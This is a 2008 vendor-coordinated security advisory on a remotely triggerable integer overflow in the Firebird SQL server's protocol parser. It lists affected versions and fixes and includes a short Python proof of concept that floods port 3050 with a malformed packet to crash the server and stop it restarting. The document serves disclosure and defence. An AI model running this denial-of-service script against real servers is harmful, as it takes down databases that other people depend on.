CORE-2007-1219: Firebird Remote Memory Corruption

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 Core Security Technologies - CoreLabs Advisory
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       Firebird Remote Memory Corruption

Advisory Information

Title: Firebird Remote Memory Corruption
Advisory ID: CORE-2007-1219
Advisory URL: http://www.coresecurity.com/?action=item&id=2095
Date published: 2008-01-28
Date of last update: 2008-01-24
Vendors contacted: Firebird SQL
Release mode: Coordinated Release

Vulnerability Information

Class: Memory corruption
Remotely Exploitable: Yes
Locally Exploitable: Yes
Bugtraq ID: 27403
CVE Name: CVE-2008-0387

Vulnerability Description

Firebird [1][2] is a relational database that runs on Linux, Windows,
and a variety of Unix platforms. The Firebird Project is a commercially
independent project of C and C++ programmers, technical advisors and
supporters developing and enhancing a multi-platform relational database
management system based on the source code released by Inprise Corp (now
known as Borland Software Corp) on 25 July, 2000.

The Firebird database manager contains an Integer Overflow in the
processing of certain tags on the XDR protocol used for communication
with the server. This led the server to corrupt the process memory and
crash. Repeated attempts are followed by a crash of the process in
charge of restarting the database server. This may also grant attackers
remote execution of arbitrary code on servers running Firebird.

Vulnerable packages

. Firebird SQL 1.0.3 and before.
. Firebird SQL 1.5.5 and before.
. Firebird SQL 2.0.3 and before.
. Firebird SQL 2.1.0 Beta 2 and before.

Non-vulnerable packages

. Firebird SQL 1.5.6 (to be released)
. Firebird SQL 2.0.4 (to be released)
. Firebird SQL 2.1.0 RC1

Vendor Information, Solutions and Workarounds

Firebird v2.1.0 RC1 fixes this vulnerability and is available for
download at http://firebirdsql.org/index.php?op=files&id=fb210_RC1

The fix will also be included in versions v1.5.6 and v2.0.4. Version
2.0.4 will be released in February. The version 1.5.6 release is
expected later this year.

The issue is registered [3] in Firebird Tracker as CORE-1681.

Credits

This vulnerability was discovered and researched by Damian Frizza with
assistance of Alfredo Ortega from Core Security Technologies.

Technical Description / Proof of Concept Code

The memory corruption happens when the parser (src/remote/protocol.cpp)
receives any of the following operations with invalid data:

op_receive
op_start
op_start_and_receive
op_send
op_start_and_send
op_start_send_and_receive

The parser fails to properly sanitize certain variables before use. We
can see that in the file src/remote/protocol.cpp there are the following
assignments directly from the packet buffer to the data structure,
without any validation (The MAP macro doesn't have any range checking):

src/remote/protocol.cpp:417

            MAP(xdr_short, reinterpret_cast<SSHORT&>(data->p_data_request));
            MAP(xdr_short, reinterpret_cast<SSHORT&>(data->p_data_incarnation));
            MAP(xdr_short, reinterpret_cast<SSHORT&>(data->p_data_transaction));
            MAP(xdr_short, reinterpret_cast<SSHORT&>(data->p_data_message_number));
            /* Changes to this op's protocol must mirror in xdr_protocol_overhead */
            return xdr_request(xdrs, data->p_data_request,
                    data->p_data_message_number,
                    data->p_data_incarnation) ? P_TRUE(xdrs, p) : P_FALSE(xdrs, p);

And in the function xdr_request(), the variable data->p_data_request (as
request_id) is used to index an array:

    ...
    rrq* request = (rrq*) port->port_objects[request_id];
    ...

Corrupting memory structures and causing a DoS of the server, with
possible execution of code. The same happens with the variable
data->p_data_message_number.

The following python PoC causes a remote Denial of service and
demonstrates the bug:

##Firebird DoS
##Damian Frizza - Core Security Exploit Writers Team
##tested against Firebird-2.0.3.12981-1-Win32.exe and
##Firebird-2.1.0.16780_0_Win32.exe

##fbserver.exe 2.0.3
##005637D0 8B4424 08 MOV EAX,DWORD PTR SS:[ESP+8]
##005637D4 0FB700 MOVZX EAX,WORD PTR DS:[EAX]
##005637D7 83EC 50 SUB ESP,50
##005637DA 56 PUSH ESI
##005637DB 8BF1 MOV ESI,ECX
##005637DD 8B8E AC000000 MOV ECX,DWORD PTR DS:[ESI+AC]
##005637E3 3B41 08 CMP EAX,DWORD PTR DS:[ECX+8] <----
##CRASH HERE

import socket
import time

def getTargetIP():
return '192.168.xxx.xxx'

port= 3050
op = '\x4a'

packet = '\x00\x00\x00' + op + 'A' * 2000

##Making the connection and sending the data 5 times, fbguard.exe fails
##to restart the service.

for i in range(0, 5):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((getTargetIP(), port))
s.send(str(packet))
s.close()
time.sleep(1)

Report Timeline

2008-01-04: Initial notification sent by CoreLabs to Firebird SQL
development team.
2008-01-08: Notification acknowledged by Firebird SQL development team.
2008-01-08: Technical details sent by Core to Firebird SQL dev. team.
2008-01-10: Firebird SQL dev. team notifies Core that a fix has been
produced, and will be released in Firebird versions v1.5.6, v2.0.4 and
v2.1.0 RC1.
2008-01-10: CoreLabs acknowledges information about fixes and requests
date of the v2.1.0 RC1 release to the Firebird dev. team.
2008-01-15: Firebird dev. team confirms vendor information and dates of
fixed versions.

References

[1] http://sourceforge.net/projects/firebird/
[2] http://www.firebirdsql.org/
[3] http://tracker.firebirdsql.org/browse/CORE-1681

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Technologies can be reached at 617-399-6980 or on the Web at
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DISCLAIMER

The contents of this advisory are copyright (c) 2008 CORE Security
Technologies and (c) 2008 CoreLabs, and may be distributed freely
provided that no fee is charged for this distribution and proper credit
is given.

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